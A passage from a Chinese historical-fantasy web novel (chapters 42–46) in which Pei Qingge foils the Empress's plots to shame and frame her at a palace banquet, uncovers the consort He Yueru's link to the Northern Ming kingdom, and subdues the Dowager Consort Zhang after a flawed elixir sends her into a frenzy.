她拧了拧眉,只说,“臣妾失礼了,大概是昨晚没睡好。臣妾先去更衣,稍后再过来。” “去吧。”白砺寒淡淡地说了句。 云月宁对着裴玲珑招了招手,“玲珑,你陪本宫去吧。” “是。”裴玲珑站起身,跟着皇后走了。 白砺寒垂眸喝了杯里的酒,敛去眼底的不满。 这皇后仗着云家,真是越来越放肆了! 裴玲珑和裴清歌的事,白锦夜都没说什么,她倒是不管不顾把裴玲珑带到家宴来。 被裴清歌驳斥了面子,就如此作妖! 他暗暗地吸了口气,压下心中的愤懑,才看向白风御,脸上已是一片平静,“皇弟年纪也不小了,这番回去,可得在亲事上多上上心。” * 云月宁到了后殿,宫人褪去了她殷湿的外套,又重新换好。 她抬手揉了揉眉心,也没急着回去。 裴玲珑站在一边,咬了咬唇,才小心翼翼地道,“皇后表姐,你看到了,她连你的面子都不给,平时在裴家更是目中无人。明明是抢了我的婚事,却好像理直气壮。表姐,我不想与她争了,我根本就争不过她。” “前些日子我去王府,她就让王府的下人苛责我,最后还把我赶出去。” 她说着双腿一弯跪在地上,“表姐,我真的想帮你做事,可是我真的做不到了。” “废物。”云月宁抬眼瞥了裴玲珑一眼,“当初给你制造机会,让你救了白锦夜,好不容易有机会接近他,浪费本宫这么多心血,结果连绿竹都不如!” 裴玲珑垂着头,眼底闪过一抹恨意,她从头到尾都不想嫁给白锦夜。 云月宁想要随便摆布她? 也没有那么容易! “表姐,其实不如找姐姐私下聊聊,说不定她愿意帮你呢。”顿了顿,裴玲珑开口道。 “你听她刚才说话那态度……”云月宁顿了顿,才软了口气,“玲珑,你放心,本宫保管她做不成这个王妃,等肃亲王休了她,王妃之位还是你的,你可要记得……” “表姐!”裴玲珑抬头急急地道,“表姐,我……” “你什么你?”云月宁打断她,“裴玲珑,你别不识好歹,你娘再得宠,也不过是个妾,你就是个庶出,若不是本宫给你撑腰,你爹早就把你嫁给贺元忠那个瞎了的庶子了!行了!”她说着一甩袖袍站起来,“今日事成,本宫就想办法让裴靖把你娘抬做平妻,到时候你也是嫡女了。” 裴玲珑见她恼了,也不敢多说话,只能咬着唇跟她重新回了殿上。 酒过三巡,殿中的众兄弟开始回忆先皇在世时对他们的教诲。 白锦夜身体不适,就一直以茶代酒。 裴清歌坐在他身边,垂眼看着桌面,根本没心思听他们在说什么,她有点想不通。 那只是最低级的幻象,就算那些术法不是皇后自己会的,有人帮她办事,她也不可能对此一无所知,更不可能在皇上面前如此失态。 既然一直都是皇后在跟白锦夜作对,那如果肃亲王府的那一切不是皇后的手笔,就证明要么皇后背后还有人,肃亲王府的那些皇后自己都不知道,要么——白锦夜还有别的仇家。 本来还以为今天见到皇后就有分晓,现在看起来,这天风国的水,还真是深。 裴清歌轻轻叹了口气。 裴玲珑抿着唇,看着云月宁一直对自己使眼色,犹豫了半响,才终于找了个空隙,对着裴清歌道,“姐姐,你怎么一直不吃不喝?是戴着面纱不方便么?不然我陪你去后殿稍稍吃点东西垫垫肚子吧。” 她这话一出,殿上顿时安静了下来。 裴清歌和白锦夜虽是新婚,按说其他人该敬敬酒的。 但是谁都知道裴清歌的脸早就毁了,敬酒她就要取下面纱。 当着这么多人面,这不就是故意给她难堪么? 就算他们不在意裴清歌,那也不能不在意白锦夜。 关上门人家两个人和不和睦的无所谓,可在外面,若是让白锦夜丢了面子,那不相当于自讨麻烦? 裴清歌抬眼看向裴玲珑,“你做人习惯了偷偷摸摸,吃东西也见不得人么?” 裴玲珑脸色一红,“姐姐,我只是……怕你尴尬。” “怕我尴尬你就不该提这个话啊。”裴清歌直言。 裴玲珑咬了下唇,没想到裴清歌会说的这么直接,以前就算她说了什么让她不快,她也只是会找个话题掩过去而已,她的脸上漫上了几丝委屈,“是我不好,我只想着你别饿着肚子。” 裴清歌轻笑了一声,“左右别人都知道怎么回事,挡来挡去好像确实没什么必要。”她说着就抬手要摘掉面纱。 三年前,传闻裴清歌在洪都毁了容,回盛京之后,就在裴府从未出过门。 大家虽然都知道她容貌被毁,可却并不知道到了什么程度。 见她要摘面纱,几乎所有人都在屏息以待。 眼看着面纱就要被摘下来,白锦夜眉心一皱,抬手就按住裴清歌的手腕。 第42章 光天化日在御花园的假山里私会? 裴清歌皱了下眉,抬眼看向白锦夜,“王爷有事?” 白锦夜看着她,眼中的意味不明,半响后只是说,“你可要想好。” “王爷怕我给你丢脸?”裴清歌又问。 白锦夜这次没说话,沉默了会,收回了手。 这两人之间的情况,在其他人看来,便更觉裴清歌的脸难以入目,白锦夜才会阻止。 裴玲珑和云月宁对视了一眼,眼底闪过一抹笑意。 白风御轻咳了一声,赶紧道,“姑娘家家的脸皮薄,你们都看什么看?” “有些人不看就不会死心的。”裴清歌说着摘掉了面纱。 而面纱之下—— 白嫩的皮肤吹弹可破,细腻平滑的肌肤不见一丝疤痕,甚至都没有一丝丝的瑕疵! 裴玲珑满面诧异,惊讶地从椅子上站起身,“不可能!” “什么不可能?”裴清歌笑着看着她。 “你……你……”裴玲珑吱唔了半天,小心翼翼地看了眼皇后,惊觉自己太过失态,才赶紧道,“没想到陆神医医术这么好,姐姐才去王府月余,就已经治好了姐姐的脸。” 这话就是承认了裴清歌之前毁容的事是真的,反正陆神医之名大家都听过,现在脸治好了也情有可原。 别人不知道,白锦夜也总是知道的,前些日子见她,她的脸上还都是伤疤,就算有什么灵丹妙药,也不可能短短几日就恢复到这程度。 况且,陆绝根本不可能给她治伤。 他眉心微皱,不快地看了裴玲珑一眼,她这话一出,将来少不得要有人来王府求药,尤其是在做的各位,若是陆绝不给,倒像是他不愿意了。 裴玲珑没有忽略掉白锦夜的神情,她暗暗地捏了下衣角。 如今裴清歌的脸恢复了,白锦夜也许就会喜欢上她,到时候就算皇后想拆散他们,也没那么容易了。 她终于可以不用再嫁给白锦夜了! 皇后千算万算都没有算到这一点吧! 真希望白锦夜就此厌弃她,皇后也就不会想着再利用她接近白锦夜了! 只是听了裴玲珑的话,裴清歌嘴角的笑容更大,“嗯,反正诸位都在,回去也不妨告诉身边的人,就说陆神医不仅有办法祛疤,而且还能让皮肤变得更好,大家若是有什么需要,尽管去肃王府求药,都是兄弟,肃亲王也不会让陆神医袖手旁观的。” 不说别人,就说这后宫之中,就有多少娘娘想在自己的脸上下功夫! 就算没有疤,那也希望自己的皮肤更白更细腻呢。 白锦夜拧眉看了裴清歌一眼,她可还真是会拱火! “王妃说笑了,陆绝的医术哪有这么高?”他说着顿了顿,又继续补充,“王妃的脸本就无事,何必逗大家开心?” 裴清歌对白锦夜的话不置可否,但他这么一说,无疑是在否认之前的传言。 曾经洪都之事,传的有模有样,都说裴清歌那一张脸已经再也不能看了。 可如今……这不依旧是盛京第一美人么? 白砺寒心里这算是明白了,怪不得婚事被搅合了,也不见白锦夜去裴家质问,想必这裴清歌本来就无事。 听说自三年之前那事之后,裴夫人就带着裴清歌住进了后院,裴府的事情,都交给了一个姨娘处理。 裴夫人不出面,那姨娘虽不是正妻,但在裴府也享受着正妻的一切待遇。 就连她庶出的女儿,这几年在京中也崭露头角,被当做嫡女对待。 他瞥了一眼裴玲珑,以往就有人来向他说过,这裴靖宠妾灭妻,内宅之事尚处理不好,又如何带兵? 他只当是人家觊觎裴靖的兵权。 如今看来,这裴家的内宅,还真是藏污纳垢。 当初那事发生在洪都,到底如何,也只有裴家人最清楚了。 说不定只是那姨娘借此争宠、打压正妻的手段! 他又眯眼看了眼云月宁,这云家本是裴夫人的娘家,皇后与裴清歌才是真正的表姐妹,她不想着帮自己的表妹,反倒跟一个上不了台面的庶女搞在一起。 真是难有母仪天下之姿! 堂上的气氛一时尴尬,大家只得出言恭维几句,庆贺白锦夜娶得美妻。 宴席结束,皇上要带诸位王爷皇子去御书房议事,便着皇后带着众女眷去御花园赏花。 裴清歌对赏花这种事一点兴趣都没有,反正她早晚要天风国,也没必要跟这些人口是心非的寒暄,于是在角落里坐了片刻,就起身说想要去转转。 云月宁叫了个嬷嬷带她四处走走。 嬷嬷在前面带路,却偏偏只往偏僻的路上走。 裴清歌微微眯了眯,从袖袋里抽出一道符,上前一步贴在嬷嬷的后背上。 嬷嬷感觉到她轻拍自己的后背,便转身看着她,“王妃有事?” “无事。”裴清歌笑道,“嬷嬷继续带路吧。” 嬷嬷眉间闪过一抹不悦,继续往前走。 裴清歌却停在了原地,看着那嬷嬷越走越远,却仿佛根本没有发现她没跟上来。 她轻笑了一声,转身往相反的方向走,不远处有一片假山,她径直走了进去。 走到一处隐蔽的角落,裴清歌蹲下来,在地上画了一个御鬼的法阵,这皇宫她肯定不能随意进来,如今确认和北冥国有关的人不是皇后,以后再想探查皇宫,也不见得随时有机会。 不过她来不了,也有“朋友”可以帮她。 反正这皇宫里别的不多,冤魂多的是。 法阵画好,裴清歌又加了个隐阵的术法,正要离开,便听到外面有细微的脚步声。 她微微勾了勾唇,正好试试这阵法,于是就遣了一个宫女的冤魂往发出声音的地方飘去。 她自己则是在原地坐下,通过宫女的眼睛观察着外面的一切。 宫女很快就到了进来的人附近,隐在一个视野好的墙缝里。 裴清歌的眸光猛地一震。 白锦夜! 他不是跟皇上他们去御书房了么? 来这里干什么? 片刻之后,一个穿着宫装的女子也走了进来,在白锦夜面前一仗有余的地方停住了脚步。 裴清歌挑了挑眉,莫不是这两个人有什么奸情?光天化日就在御花园的假山里私会? 第43章 原来是她! 白锦夜负手而立,脸色看不出喜怒,“贵妃这么急着想见本王,是何事?” “听说王爷病了多日,也不曾来上朝,本宫担心得紧。”和月如打量着白锦夜,“王爷可不是会吃亏的人,谋划了这么久,要娶裴玲珑,却被人算计,王爷这就放弃了?” “此事与你何干?”白锦夜反问。 “听说裴清歌的脸没有毁,原来王爷也是贪恋美貌之人。”和月如轻轻叹了口气,“王爷可别贪恋温柔乡,忘了张太妃的事。” 白锦夜眯眼看着她,没说话。 “不过本宫听说,张太妃最近很稳定,好像……很听裴清歌的话?”和月如又转口道,“没想到裴家的姑娘还有这本事,怪不得王爷最近已经不急着找本宫了。” “贵妃若是只想说这些,那本王就不奉陪了。”白锦夜说着迈步就要走。 和月如一开始并没有阻止,等他走出去了一段,她才开了口,“王爷,你可知道自己距离变成张太妃那样已经不远了?王爷,你今天指望这个,明天指望那个,为什么就不能诚心实意的跟本宫合作一次呢?” “是贵妃想要和本王合作,贵妃不拿出些诚意来,本王怎么知道贵妃是真心想和本王合作呢?”白锦夜的脚步顿了顿,但也没转身。 “本宫早就告诉你了,只要找到紫莲戒,就一定能救张太妃和你自己!”和月如有些急了。 听到这,裴清歌的手蓦地握成拳! 紫莲戒! 那是历代圣女的标志! 自师父失踪之后,紫莲戒就跟她一起失踪了。 找紫莲戒一事,已经成了北冥国事务的重中之重。 所以,跟北冥国有关的不是皇后,原来是这个贵妃! 裴清歌仔细端详了下她的脸,在记忆之中却完全找到一点痕迹。 “你只给了本王一张图,到哪找,怎么找,一点线索都没有,本王再神通广大,短时间内也不可能找到。”白锦夜说着微微皱了下眉头,蓦地想到裴清歌写的那些药材,似乎跟这紫莲戒如出一辙。 莫不是……这紫莲戒也是北冥国的东西? 和月如咬了咬牙,从怀里摸出一个锦盒,递给白锦夜,“这里有一颗丹药,你回去拿给张太妃吃,到时候你就知道本宫是不是诚心跟你合作了。” 白锦夜这才转过身,从和月如的手里接过锦盒,没再说话,迈步离开了。 和月如咬了咬牙,等了半响,正要离开,却突然转头向宫女藏身的缝隙看来,她抬起手,那宫女的冤魂就被她吸到了掌心。 她捏着宫女冤魂的喉咙,“哼,好好的不去投胎,在这找死么?”说着用力一捏,冤魂顿时魂飞魄散。 阵法本就是裴清歌所设,冤魂又是她控制,魂飞魄散之下,对她也有些许的反噬。 只不过她只是御鬼,其中也没掺杂什么术法的攻击,所以这反噬也不大。 她只是气血翻涌了下,就很快平复下来。 不过也总算是找到了源头! 裴清歌在原地又呆了片刻,听到外面完全没声音了,才起身走了出去,又在御花园转了一圈,就听到不远处吵吵嚷嚷的,她走近了便见云月宁带着一众女眷往某个方向走。 而那个方向……不正是刚才那嬷嬷要带她去的地方么? 裴清歌脚步顿了下,在远处跟着众人走了过去。 那些人在一处厢房前停了下来,一个宫女指着门说,“皇后,就是这里,奴婢亲眼见到肃亲王妃跟一个男子进了这处厢房!” 有人闻言就要去开门,却被云月宁抬手阻止,“此事兹事体大,还是先去通知肃亲王,反正咱们就在门口,里面的人也跑不掉。”她说着挥了挥手,一个宫女会意,赶紧往御书房的方向走。 没一会,皇上就和白锦夜等人到了。 “怎么可能呢?”白风御当先不信,“今日这么多人入宫,王妃怎么也不可能做出这样的事来。” 他说着眼底也闪过一抹担忧,刚刚在殿上,皇后和裴玲珑之间的往来,他当然也看见了,说不定就是这两个人设计。 万一给裴清歌下了药……那这门只要一打开,可就没有转圜的余地了。 “又不是没做过。”有人低声嘟囔了一声,“三年前的事,天下尽知,狗改不了吃屎。” “不会的。”裴玲珑咬了咬唇,一脸委屈的模样,“我姐姐不会做这样的事情的。” “会不会,开了门不就知道了。”云月宁说着看向白锦夜,“王爷,要不你亲自来?” 白砺寒微皱了下眉头,白锦夜行事乖张,十三岁开始就上阵杀敌,如今天风国的兵权绝大部分都在他手里,就连他对白锦夜都要顾忌三分,今日皇后却一而再再而三的挑衅。 她真当白锦夜是软柿子好拿捏么? 他的手默默地握成拳,不过,他掣肘于云家,但白锦夜可不! 云月宁若真是非要跟白锦夜过不去,他倒是乐见其成。 “不,不能开门!”裴玲珑突然提高了声音,看了看云月宁,又看向白锦夜,“王爷,姐姐刚才说赏花无聊,想四处转转,去了这么久都没回来,要不然先找人去御花园里找找她,说不定……说不定她还在别处转呢。” 闻言,白锦夜脸色没什么变化,白风御登时恼了,这话不就差直接说裴清歌没跟众人在一起,这房里的就是裴清歌了么?他瞪着裴玲珑,语带嘲讽,“裴姑娘,本王怎么觉得,你巴不得这房里的是你姐姐呢?” “我……我怎么会?”裴玲珑说着往后退了几步,躲在皇后身后,有些无辜地道,“早知道我就该多陪姐姐聊会天,她也不会觉得无聊了。” 白锦夜的目光在裴玲珑身上转了一圈,又看向皇后,“宫闱重地,本王就不亲自动手了。皇后若是觉得能承担后果,便开门无妨。” 云月宁的气息一滞,他这话里威胁意味如此之浓! 可气氛已经烘托到这了,她如果不开门,她岂不是颜面扫地? 她就不信,他再厉害,也不过是个臣子,真的能对她这个皇后做什么? 她清了清嗓子,“王爷说的对,宫闱重地,本宫倒想看看是谁在宫里做这样腌臜的事。自本宫执掌六宫一来,还没见过有人敢在本宫眼皮子底下这么大胆子!来人,开门!” 肃亲王妃也算是命妇,天下命妇可都归她云月宁所管! 只要开了门,就算是白锦夜在,也没有任何理由拦着她教训这不知检点的裴清歌! 几个宫女犹豫了下,还是听了皇后的话,前去开门。 “皇上和王爷不是在御书房议事?也来御花园赏花了么?”裴清歌这才从树后走出来,扫了扫裙摆上粘的草碎,“那边的木芙蓉倒是开的不错。” 众人闻言,都朝裴清歌看过来。 云月宁和裴玲珑更是一脸的震惊! 说话间,厢房的门也被宫女推开—— 第44章 这药不能给张太妃吃! 厢房内,衣衫遍地。 但那衣衫上的花纹,显然是宫内嬷嬷的制式。 裴清歌淡笑地看着地上的衣服,“呦,皇后治理的六宫,还有人白日宣淫呢。” 云月宁脸色难看,咬紧了银牙,手在袖子里死死地握成拳,“去,把这奸夫淫妇给本宫揪出来!” 几个嬷嬷进了厢房,没一会里面就传来惊叫,接着衣衫不整的一男一女就被婆子们给押了出来。 女的正是刚刚给裴清歌带路的嬷嬷。 裴清歌垂眼看着她,给她身上贴的那道符,会让其他人产生幻想,把她当成自己,而随着符纸贴的时间长,她自己的心神也会恍惚。 她若不是存了害自己的心,当然不会反受其害。 那嬷嬷现在终于清醒了过来,顾不上拉身上的衣衫,拼命地跪爬到云月宁的脚边,“皇后,皇后饶命啊,奴婢……” 云月宁不想听她多言,一脚踹在她胸口,把她踹到一边。 显然她这是着了裴清歌的道,反而被裴清歌给算计了,她多说几句,说不定说漏了这件事,“把人拖下去,先打三十大板。” 云月宁说完,又看向那噤若寒蝉的男子,“你是何人?为何会来后宫?” “回……回皇后,小人是皇宫守卫,是……是肃亲王妃着人通知小人来此处的。”那守卫头也不敢抬。 “荒唐!”云月宁冷喝一声,“肃亲王妃是什么身份?会通知你来?” “小人……小人有肃亲王妃给小人的定情信物。”他说着摸了摸,摸出一根金簪,往前递上来,“这是肃亲王妃亲手交给小人的定情信物。” 裴清歌眯了眯眼,那支金钗正是桑榆被劫去的那支,原来这事是在这等着她呢! 她轻笑一声,上前一步,“这么说,你认识肃亲王妃了?” “是,小人认识,小人本是裴元帅军中的一个小兵,一次给裴元帅送东西的时候,无意间与肃亲王妃见过,并且一……一见钟情。”守卫低声道,“也是肃亲王妃请裴元帅帮忙,让小人来了皇宫做守卫,这里月银多,又不辛苦。” “是么?”裴清歌笑了笑,“那你与肃亲王妃可认识很久了?” “有四五年了。”守卫又道。 “哦。”裴清歌点头,“也就是说,毁容与未毁容的肃亲王妃,你都见过了?” “是的。”守卫点点头。 “你抬起头来。”裴清歌继续道。 守卫闻言,顿了顿,才抬起头,看着裴清歌一脸陌生的神情,“不知道这位姑娘还有什么想问的?” 裴清歌嘴角的笑容更大,“我没有什么想问的了。” 守卫有些不解,但又很快看向皇上皇后道,“皇上皇后,属下擅闯后宫,罪该万死,属下愿一人接受责罚,请不要为难肃亲王妃。” “刚刚跟你在房间里的,只是皇后身边的一个嬷嬷,肃亲王妃在哪呢?”裴清歌看着他问。 “什么?”守卫有些惊讶,他看着裴清歌,又看向其他众人,可他明明是见到一个蒙着面纱的女子跟自己进了厢房,掀掉面纱,那脸上的疤痕交错。 不过他也早就知道裴清歌毁容之事,想着事成之后的奖赏,只能闭上眼睛…… 眼下,裴清歌也不用再解释什么,事情已经自有分晓。 白砺寒猛地一甩袖袍,“哼,皇后身边尽是些什么人?依朕看,在没有管理好你凤仪宫的人之前,这六宫之事,也暂时不需要你处理了。”他说着侧过头,“袁公公,你去通传,六宫之事,暂由和贵妃代理。” 云月宁指甲都要嵌进掌心,她恶狠狠地盯了一眼裴清歌,才看向白砺寒,“皇上,臣妾也是一时被人蒙蔽了,臣妾知错了。” “皇后就先好好反省着吧!”白砺寒看了她一眼,说出去的话,显然也不打算收回了。 白锦夜轻咳了几声,“皇兄,臣生病未愈,现在也有些乏了,这便告退回府了。” “皇弟便回去好好歇着吧。”白砺寒点点头。 其他人见状,也纷纷告退。 一群人也就这么散了。 上了马车,裴清歌依旧坐在自己的角落,白锦夜也没有说话的打算。 一路无言。 到了王府,裴清歌下了马车就往梧桐院走,白锦夜也不近不远地跟在她身后。 她皱了下眉,转念才想到那贵妃给了白锦夜药丸,让他给张太妃服下,他这会该是去梧桐院找张太妃了。 一进梧桐院,桑榆看着裴清歌的脸,下巴都要掉在地上了,“王……王妃,你的脸好了?” “好什么好?”裴清歌抬手在脸上抹了抹,撕掉一片薄如蝉翼的面皮,“这叫易容。” 这下桑榆比看到她的脸恢复了还要惊讶,“可是刚刚完全看不出来啊。” 裴清歌笑了笑没解释,她大概猜到那些人无非是在她的脸上下功夫,于是趁着夜里去找了楚星玄。 暗城的易容之术一绝,楚星玄更是其中翘楚,就没有楚星玄做不出来的脸。 裴清歌的脸虽然毁了,但隐约也能见到以前的模样,虽然耗时长了点,但骗过这些人完全没问题。 桑榆这才看见跟着走进来的白锦夜,赶紧给他问安。 白锦夜也没理她,径直走向张太妃。 裴清歌皱了下眉,还是跟了过去。 他从怀里拿出锦盒,打开,一股浓郁的药味就扑面而来。 裴清歌眯了眯眼,这白锦夜倒是相信那贵妃,都不找人验验这药,就直接给张太妃吃么?“王爷这是哪来的药?为什么要给张太妃吃?” 白锦夜转头看她,眉心微微沉了沉,没有说话,只是把药丸拿了出来。 裴清歌抬手抓住他的手腕,“王爷,这药不能给张太妃吃。” 药香浓郁,很像是合魂丹,但应该是偷工减料版的合魂丹。 只是不管那人是谁,能拿出合魂丹,也算是下了血本了。 “她的情况,还能更糟么?”白锦夜微微皱了下眉,挣开裴清歌的手,捏开张太妃的嘴,把药丸塞了进去。 裴清歌猛地推开两步,转头看着桑榆,“去带我娘走,躲远点!” 桑榆不知道怎么回事,听了之后就立刻去带上裴夫人离开了梧桐院。 白锦夜拧眉盯着张太妃,只见她手指动了动,眼睛也跟着眨了眨,接着抬眼看过来。 嘴唇动了半响,才从嗓子里吐出几个含糊不清的字,“你……你是……谁?” 第45章 血莲护主! 张太妃丧失理智的那一年,白锦夜才七岁。 如今十五年过去,张太妃早就不认识他了。 白锦夜的眼尾红了红,蹲在张太妃面前,拉着她的手,放在自己的脸上,“母妃,是我,你还记得我么?” 张太妃盯着白锦夜看了好半天,才道,“锦夜,是锦夜么?你……都长这么大了?” 左辞也站在不远的地方,看着这一幕,热泪盈眶,没想到张太妃还有恢复神智的这一天!王爷总算是等到了! 裴清歌转头看向激动得身体都在微微颤抖的左辞,低声交代,“你去把梧桐院附近的人都疏散了,一会如果情况不可控,就把睢园的那位叫来。” “什么?”左辞看向裴清歌不明所以。 “快去,没时间跟你解释了。”裴清歌拧着眉,一脸如临大敌的模样。 左辞看了看她,又转头看了看那母慈子孝的画面,犹豫了会,还是按照裴清歌的要求去办了。 “母妃,是儿子不好,至今还没找到能治疗你的药物。”白锦夜抬眼看着她,“儿子又怕自己时日无多,到时恐怕……” 他无声地叹了口气,他早就已经交代给司空,若是哪一日他失去了理智,就让司空把他和张太妃一起一把火烧了。 “药物?”张太妃的思维似乎很是迟缓,听到这个词之后,目光缓缓地落在自己的手上,她看着青筋暴突的双手,紫黑的指甲,一下子想起了什么! 她想到自己一开始偶尔失去神智,还会清醒过来,那时候她看着自己的脸一点点的在变化! 她想起自己那曾经惊艳世人的样貌一日日变丑,变得人不人鬼不鬼! 她想起她的宫里再没有一个活人,她日日嘶吼哭诉,曾经宠爱她的皇上却看都不来看她一眼! “啊!”张太妃突然仰天长啸。 她猛地一把推开白锦夜,抬手抓着自己的头发,咆哮发狂。 “母妃!”白锦夜站起身,上前想要抓住张太妃。 可发狂的肉尸尤其是他能阻止的?瞬间他就被张太妃甩开。 张太妃抓乱了头发,四处看了看,就往院门走去。 她不能再被关在一个小院子里! 她要出去,她要见皇上! 眼见着院门就在眼前,却突然被一道无形的屏障拦住。 裴清歌早就在刚刚张太妃与白锦夜聊天的时候,在院门口设下了阵法。 那合魂丹,肉尸吃了以后,会短暂的恢复做人时的神智,可以交代些后事,但很快就会比之前更加狂暴,直到筋疲力竭,最后爆体而亡。 也不知道那贵妃是不是真的知道这回事,若是真想和白锦夜合作,怎么给这样的药物? 可再想想这王府的摆设,哪一样不是为了置白锦夜于死地?又怎么是真心合作? 不过这偷工减料的合魂丹,让张太妃的神智恢复却只有一瞬,后果应该也没有那么严重。 裴清歌又转到了院子中间的大片空地,写下一个更加复杂的阵法,她抽空看了一眼白锦夜,“你拦着点张太妃,不要让她打扰我。不知好歹,倒像是我要害你们一样。” 白锦夜咬下了牙,转身站在了裴清歌和张太妃之间。 此刻张太妃还在想办法离开这个院子,倒没有注意到这两个人。 不过很快她就意识到自己出不去,而这院子里还有其他人在。 她嘶吼一声,就朝裴清歌和白锦夜扑过来。 但合魂丹的药力还在,她对白锦夜还有隐约的印象,所以这一次她没有对他下狠手。 白锦夜拦了她一盏茶不到,就被她抓着胸口的衣襟和腰带给扔了出去。 他整个人撞在院墙上,全身疼得像是碎裂了一般,一口鲜血吐出来,半响都没能从地上爬起来。 张太妃就直接朝裴清歌扑了过来。 裴清歌的阵法没办法再继续,而张太妃多少有些理智,就算她按照八卦图的方位来走也躲不开她的攻击了。 她咬住舌尖,一口血水朝着张太妃的脸上喷过去。 张太妃的脚步顿了片刻,但也仅此而已。 裴清歌眯了眯眼,她现在的能力当然还不足以跟张太妃硬碰硬,迅速后退的同时,只能拿出了锁魂玉笛。 第一个音吹出,张太妃的脚步迟缓了下来。 第二个音吹出,她在原地停下了。 裴清歌吸了一口气,努力地压了压胸口翻涌的气血,可第三个音刚吹出一丝声响,一大口鲜血就顺着她的喉咙涌了上来,彻底地染红了锁魂玉笛。 她的身体晃了晃,抬手扶住一旁的石桌,才没有倒在地上。 张太妃站在那,但明显是在挣扎,想要挣脱束缚。 此刻左辞也带着楚星玄走到门口,正欲进门,却被楚星玄一把拉住。 他当然看的见这门口阻止肉尸出来的阵法,“别碰这个。” 他说完大步绕过阵法,进了院子。 眼见着这情形,眉心微皱,“不是控制住了?怎么又发狂?” 裴清歌趁楚星玄尚未发现,迅速收起玉笛,也没空给他解释这些,转身往阵法的方向走,她得趁张太妃没有挣脱束缚之前,把阵法画完。 哪知道刚走两步,身后就传来白锦夜的惊呼,“躲开!” 极细的白丝从楚星玄的袖口射出,缠住了张太妃的腰,他迅速的收紧白丝,张太妃的脚步顿时被止住。 裴清歌转头看了一眼近在咫尺的张太妃,又看向楚星玄,“拦她一炷香。” 她说完赶紧继续阵法。 楚星玄并没有和肉尸正面对敌过,暗城的规矩,碰到肉尸绕着走就是,没必要拿血肉之躯跟肉尸拼个你死我活。 肉尸蛮力极大,楚星玄只能动了内力,但体内的毒也随之发作,全身经脉如针刺一般疼痛,他痛呼一声跪倒在地,手上的力道也就完全放开了。 张太妃重新恢复了自由,立掌成爪,就向裴清歌的后心抓去。 但指尖马上就要碰触到裴清歌的后心,腿却被人牢牢的抱住。 白锦夜仰头看着张太妃,“母妃,还能再见你,再听你说句话,儿子于愿足矣。” 张太妃垂眼看着白锦夜,眼里闪过嗜血的光芒,但又像是在极度压抑这什么,她再次仰天长啸一声,血泪顺着她的眼角流出。 白锦夜取出火折,点燃了张太妃的衣摆。 衣物干燥,瞬间起了火。 这火光更加激怒张太妃,她一脚踹在白锦夜的胸口,白锦夜又一口血喷出来,双眼一闭晕了过去。 张太妃又重新看向裴清歌,猛地扑了过来。 裴清歌已经几乎没有阻挡之力,不过好在阵法也就差一笔画完,她想着也就拼着挨了张太妃一下子,只要阵法画完,也就结束了。 张太妃的手终于抓向裴清歌的背后! 裴清歌甚至感觉到她的指尖已经碰触到自己的后背! 但一阵红光突然从她的肩头爆开,张太妃瞬间被红光弹倒在地! 第46章 西夜国,还是没有死心啊 预期的疼痛没有到来,裴清歌也有些诧异。 她迅速画完法阵,转身朝张太妃看去,她倒在地上,甚至都已经站不起身。 白锦夜已经昏了,楚星玄和左辞都站的老远,显然刚才的攻击和他们三个人无关。 那道红光…… 裴清歌下意识地抬手摸了摸肩头,难道是血莲? 可她从未听说过血莲会攻击人、会护主啊? 不过此刻也顾不上许多,她抬眼看向左辞,“左总管,你叫人一起把张太妃抬到这里来。” 左辞应声。 楚星玄此刻平复了些,站起身,却依旧脸色苍白,他往前走了几步,看着地上的阵法,隔了会才说,“看来,有些事,我们得好好聊聊了。” 这阵法他只见过一次,是在圣女居所的圣殿上。 只不过那个阵法极大,听说可以震慑北冥国国境内的所有肉尸。 裴清歌后退了几步,看着左辞转身去招呼人,才压低了声音,“今日有人给了白锦夜一颗合魂丹,不过那合魂丹成分不纯,药力不够。” “是谁?”楚星玄问。 裴清歌微皱了下眉头,拿了一道符咒出来,晃了晃,符咒无火自燃,之后一道虚像出现在楚星玄面前,“长这样,我没见过,你呢?” 楚星玄看了半响,也摇了摇头,“但我也一样不知道你是谁,不是么?” “你们暗城……”裴清歌顿了顿,才问,“派了人在外面做事么?” “据我所知,没有。”楚星玄回答。 整个北冥国,也不过圣女和暗城两股势力,她这边没有,暗城也没有,那这个人的背后,到底是谁? “等查清这个人的事,我就会回北冥国,到时候你就知道我是谁了。”裴清歌看了楚星玄一眼,“前任圣女失踪,紫莲戒也跟着一起消失,想必你们暗城早就奉了皇命寻找圣女和紫莲戒。这个人……也在找紫莲戒。” “找紫莲戒来天风国?”楚星玄嗤笑一声,表示并不理解。 “说不定她知道什么你不知道的事情。”裴清歌说着看着左辞已经叫了人回来,就没再说下去。 等左辞和其他人把张太妃抬进阵法,她也就催动了法阵。 张太妃的躁动逐渐平息下来。 左辞也叫人把白锦夜送进了房间,又叫了陆绝来。 等他安排好一切,见裴清歌和楚星玄还在院子里站着,就走了过去,“王妃,还有什么要做的么?” “没什么了。”裴清歌顿了顿,又问,“左总管,这宫里有几位贵妃?” “只有一位贵妃。”左辞想着裴清歌今日进了宫,大概是对宫里的事情感兴趣,便详细地说了下,“这位贵妃不是咱们天风国人,是前年随西夜国大皇子来我朝觐见的西夜公主和月如,能歌善舞,骑射棋艺样样精通,皇上喜爱得不得了,就成了贵妃了。” 裴清歌微微挑了挑眉,前年的时候,原主已经闭门不出,怪不得不知道这回事,“西夜国公主?” “是。”左辞点点头,“如今和贵妃也是皇上最宠的妃嫔。”他说着四下看了看,才低声道,“听说皇上一个月有大半个月都在和贵妃那,不过御医早就断定和贵妃不能生育,所以太后和皇后对他宠爱和贵妃之事,也就睁只眼闭只眼了。” 裴清歌转头看了楚星玄一眼,见他垂眸沉思,应该是想到了什么,她便又看向左辞,“那你可知道,你家王爷与和贵妃有什么渊源?” 左辞的脸色更加古怪,今日白锦夜去见和月如,正是他把的风,难道王妃已经知道了?好一会,他才说,“是王爷刚回京那会,入宫赴宴,和贵妃主动示好,说她能帮忙治疗张太妃的病,只要王爷也能帮她一个忙。” “但具体是什么,属下就不得而知了。”他说着又赶紧解释,“王妃放心,王爷跟和贵妃绝对没有其他越矩的行为。” 裴清歌倒也不在意,只是说,“不过你家王爷好像倒是相信她,今日这丹药就是和贵妃给的,他想都没想,就给张太妃吃了,他就不怕有什么承担不了的后果么?” 左辞叹了口气,“王爷大概只是心急吧,前几日,王爷已经逐个叫过属下、司空这些跟过他的人,一一交代过后事了。王妃,若是你能救救王爷,属下愿意一命换一命。” “你还得跟我做生意,你这条命金贵得很。”裴清歌抬手拍了拍他的肩膀,“左总管,人各有命。你家王爷今天伤得不轻,你去伺候他吧,我找张太妃聊聊天。” 